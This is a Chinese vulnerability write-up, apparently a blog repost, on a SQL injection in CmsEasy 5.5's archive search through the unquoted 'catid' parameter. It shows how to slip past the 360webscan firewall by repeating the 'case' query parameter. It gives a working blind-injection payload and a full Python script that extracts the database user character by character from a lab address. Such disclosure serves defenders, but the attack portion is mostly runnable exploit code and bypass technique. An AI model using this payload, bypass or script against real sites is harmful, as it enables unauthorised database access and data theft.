cmseasy最新版SQL注入漏洞+Bypass 360webscan方法

先下载最新版(2015-03-18):http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.5_UTF-8_20150318.zip 经过神器比对,发现最新版进行了一些功能上的修改,可就是这处修改造成注入。

/lib/default/archive_act.php 283行

if (front::post('catid')) {

$cateobj = category::getInstance();

$sons = $cateobj->sons(front::post('catid'));

if(is_array($sons) && !empty($sons)){

$cids = front::post('catid').','.implode(',',$sons);

}else{

$cids = front::post('catid');

}

$condition .= "catid in (".$cids.") AND ";

//var_dump($condition);exit;

}

$condition .= "catid in (".$cids.") AND ";直接将$cids放入SQL语句,而$cids = front::post('catid');。 由于没有引号包裹,所以造成注入。

绕过360webscan的方法,还是借助白名单,但方式有点区别。

/**

* 拦截目录白名单

*/

function webscan_white($webscan_white_name,$webscan_white_url=array()) {

$url_path=$_SERVER['SCRIPT_NAME'];

$url_var=$_SERVER['QUERY_STRING'];

if (preg_match("/".$webscan_white_name."/is",$url_path)==1&&!empty($webscan_white_name)) {

return false;

}

foreach ($webscan_white_url as $key => $value) {

if(!empty($url_var)&&!empty($value)){

if (stristr($url_path,$key)&&stristr($url_var,$value)) {

return false;

}

}

elseif (empty($url_var)&&empty($value)) {

if (stristr($url_path,$key)) {

return false;

}

}

}

return true;

}

if (stristr($url_path,$key)&&stristr($url_var,$value)),当key和value都在白名单中存在时,就不进行过滤。

而白名单的数组为:

$webscan_white_url = array('index.php' => 'admin_dir=admin','index.php' => 'case=file','index.php' =>'case=admin');

也就是说index.php?case=file,这样的请求就不会检测。

但我们的目标url是index.php?case=archive&act=search&page=1,不是case=file。没关系呀,这里比对的时候用的是$_SERVER['QUERY_STRING'];,而PHP对于两个case=xxx,是取后面一个作为值。所以,请求/index.php?page=1&case=admin&case=archive&act=search即可。

这样,即可以在QUERY_STRING里找到case=admin,进而绕过360webscan,又可以让case=archive。

测试:

向http://10.211.55.3/cmseasy/index.php?page=1&case=admin&case=archive&act=search&keyword=-1 POST数据 catid=-1) or ord(substr(user(),1,1))=114%23

=114(r)的时候有返回结果:


=115的时候没有返回结果:


脚本验证:


脚本如下:

#!/usr/bin/python

import requests, sys, base64, traceback

headers = {

'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'

}

payloads = list('@abcdefghijklmnopqrstuvwxyz.0123456789')

print 'start to retrive MySQL infomation:'

def run():

user = ''

for i in range(1,16):

for payload in payloads:

try:

data = {

"catid": '-1) or ord(substr(user(),%s,1))=%s#' % (i, ord(payload))

}

req = requests.post("http://10.211.55.3/cmseasy/index.php?page=1&case=admin&case=archive&act=search&keyword=-1", data = data, headers = headers, timeout = 5)

if "<strong>1</strong>" in req.content:

user += payload

print '\n[In progress]', user

break

except:

print traceback.print_exc()

break

sys.stdout.write('.')

sys.stdout.flush()

print '\n[Done]infomation is', user

run()

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值